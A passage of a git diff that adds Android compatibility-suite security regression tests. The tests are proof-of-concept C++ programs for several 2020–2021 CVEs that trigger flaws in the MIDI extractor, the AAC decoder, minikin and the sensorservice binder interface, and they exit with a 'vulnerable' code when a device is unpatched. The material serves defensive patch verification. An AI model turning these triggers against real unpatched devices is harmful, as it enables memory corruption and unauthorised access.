+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
new file mode 100644
index 0000000..5d00345
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0384",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
new file mode 100644
index 0000000..5a32f57
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0385",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
new file mode 100644
index 0000000..066b530
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0451",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libSYS/include",
+ "external/aac/libAACdec/include",
+ "external/aac/libSBRdec/include",
+ "external/aac/libFDK/include",
+ "external/aac/libAACdec/src",
+ "external/aac/libArithCoding/include",
+ "external/aac/libMpegTPDec/include",
+ "external/aac/libPCMutils/include",
+ "external/aac/libDRCdec/include",
+ "external/aac/libSBRdec/src",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
new file mode 100644
index 0000000..9080236
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
@@ -0,0 +1,130 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fstream>
+#include <iostream>
+#include <limits>
+#include "../includes/common.h"
+#include "aacdecoder.h"
+#include "aacdecoder_lib.h"
+#include "sbr_ram.h"
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+bool kIsVulnerable = false;
+
+class Codec {
+ public:
+ Codec() = default;
+ ~Codec() { deInitDecoder(); }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+ int validateQmfDomainBounds();
+
+ private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+ mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+ if (mErrorCode != AAC_DEC_OK) {
+ ++data;
+ --size;
+ } else {
+ INT_PCM outputBuf[2048 * kMaxChannelCount];
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, 2048 * kMaxChannelCount, 0);
+ if (valid >= inputSize) {
+ return;
+ }
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+ }
+}
+
+int Codec::validateQmfDomainBounds() {
+ // Check OOB for qmfDomain
+ void *qmfDomainBound = &(mAacDecoderHandle->qmfModeCurr);
+
+ HANDLE_SBRDECODER hSbrDecoder = mAacDecoderHandle->hSbrDecoder;
+ // Referring sbrDecoder_AssignQmfChannels2SbrChannels()
+ {
+ void *qmfDomainInChPtr = nullptr;
+ void *qmfDomainOutChPtr = nullptr;
+ int channel = 0;
+ int element = 0;
+ int absChOffset = 0;
+ for (element = 0; element < hSbrDecoder->numSbrElements; ++element) {
+ if (hSbrDecoder->pSbrElement[element] != NULL) {
+ for (channel = 0; channel < hSbrDecoder->pSbrElement[element]->nChannels;
+ ++channel) {
+ qmfDomainInChPtr = &hSbrDecoder->pQmfDomain->QmfDomainIn[absChOffset + channel];
+ qmfDomainOutChPtr =
+ &hSbrDecoder->pQmfDomain->QmfDomainOut[absChOffset + channel];
+ if (qmfDomainBound <= qmfDomainInChPtr || qmfDomainBound <= qmfDomainOutChPtr) {
+ kIsVulnerable = true;
+ }
+ }
+ absChOffset += hSbrDecoder->pSbrElement[element]->nChannels;
+ }
+ }
+ }
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ std::ifstream file;
+ file.open(argv[1], std::ios::in | std::ios::binary);
+ if (!file.is_open()) {
+ return EXIT_FAILURE;
+ }
+ file.ignore(std::numeric_limits<std::streamsize>::max());
+ std::streamsize length = file.gcount();
+ file.clear();
+ file.seekg(0, std::ios_base::beg);
+ UCHAR *data = new UCHAR[length];
+ file.read(reinterpret_cast<char *>(data), length);
+ file.close();
+
+ Codec codec = Codec();
+ if (codec.initDecoder()) {
+ codec.decodeFrames(data, length);
+ }
+ return codec.validateQmfDomainBounds();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
new file mode 100644
index 0000000..b79224c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0313",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "frameworks/minikin/libs/",
+ ],
+ shared_libs: [
+ "libminikin",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
new file mode 100644
index 0000000..16b4242
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "minikin/LayoutUtils.h"
+
+using namespace minikin;
+
+int main() {
+ // This PoC reuses the testcase provided in the GTest "BidiCtrl"
+ // of LayoutSplitterTest.cpp
+ const uint16_t testCase[] = {0x2066, 0x2069, 0x202A, 0x202E, 0x200E, 0x200F};
+ size_t offset = 0;
+ size_t len = sizeof(testCase) / sizeof(uint16_t);
+ return (getNextWordBreakForCache(U16StringPiece(testCase, len), offset) == len)
+ ? EXIT_VULNERABLE
+ : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
new file mode 100644
index 0000000..2b63d91
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+ name: "CVE-2021-0318",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libsensor",
+ "libsensorservice",
+ "libbinder",
+ "libutils",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wextra",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
new file mode 100644
index 0000000..cd67392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
@@ -0,0 +1,122 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using namespace android;
+
+void poc(int handle) {
+ status_t err;
+ sp<IServiceManager> sm = defaultServiceManager();
+ String16 name(String16("sensorservice"));
+ sp<IBinder> service = sm->getService(name);
+
+ if (service) {
+ Parcel data, reply;
+ data.writeInterfaceToken(service->getInterfaceDescriptor());
+ data.writeString8(String8("com.android.systemui.doze.DozeScreenBrightness"));
+ data.writeInt32(0 /*mode*/);
+ data.writeString16(String16("com.android.systemui"));
+ err = service->transact(2 /*CREATE_SENSOR_EVENT_CONNECTION*/, data, &reply, 0);
+ printf("CREATE_SENSOR_EVENT_CONNECTION err %08x \n", err);
+
+ sp<IBinder> binder = reply.readStrongBinder();
+
+ if (binder) {
+ {
+ Parcel data, reply;
+ data.writeInterfaceToken(binder->getInterfaceDescriptor());
+ data.writeInt32(handle); // handle
+ data.writeInt32(1); // enabled
+ data.writeInt64(0); // samplingPeriodNs
+ data.writeInt64(989680); // maxBatchReportLatencyNs
+ data.writeInt32(0); // reservedFlags
+ err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+ printf("ENABLE_DISABLE transact err %08x \n", err);
+ }
+
+ sleep(1);
+
+ {
+ Parcel data, reply;
+ String16 name = binder->getInterfaceDescriptor();
+ data.writeInterfaceToken(name);
+ err = binder->transact(6 /*DESTROY*/, data, &reply, 0);
+ printf("DESTROY transact err %08x \n", err);
+ }
+
+ {
+ Parcel data, reply;
+ data.writeInterfaceToken(binder->getInterfaceDescriptor());
+ data.writeInt32(handle); // handle
+ data.writeInt32(1); // enabled
+ data.writeInt64(0); // samplingPeriodNs
+ data.writeInt64(989680); // maxBatchReportLatencyNs
+ data.writeInt32(0); // reservedFlags
+ err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+ if (reply.readInt32() == OK) {
+ // Success in enabling a sensor after destroy leads to
+ // security vulnerability.
+ exit(EXIT_VULNERABLE);
+ }
+ printf("ENABLE_DISABLE transact err %08x\n", err);
+ }
+ } else {
+ printf("binder is null!\n");
+ sleep(3);
+ }
+ }
+}
+
+void get_sensor_list() {
+ sp<IServiceManager> sm = defaultServiceManager();
+ String16 name(String16("sensorservice"));
+ sp<IBinder> service = sm->getService(name);
+ if (service) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorServer"));
+ data.writeString16(String16("opPackageName"));
+ service->transact(1 /*GET_SENSOR_LIST*/, data, &reply);
+
+ Sensor s;
+ Vector<Sensor> v;
+ uint32_t n = reply.readUint32();
+ v.setCapacity(n);
+ while (n > 0) {
+ n--;
+ reply.read(s);
+ v.add(s);
+ String8 nm = s.getName();
+ std::string nstr = nm.string();
+ String8 vd = s.getVendor();
+ std::string vstr = vd.string();
+ int32_t handle = s.getHandle();
+ printf("%s : %s, handle %d\n", nstr.c_str(), vstr.c_str(), handle);
+ poc(handle);
+ }
+ }
+}
+
+int main(int /* argc */, char** /* argv */) {
+ get_sensor_list();
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
new file mode 100644
index 0000000..30915d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0330",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
new file mode 100644
index 0000000..4d7254f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
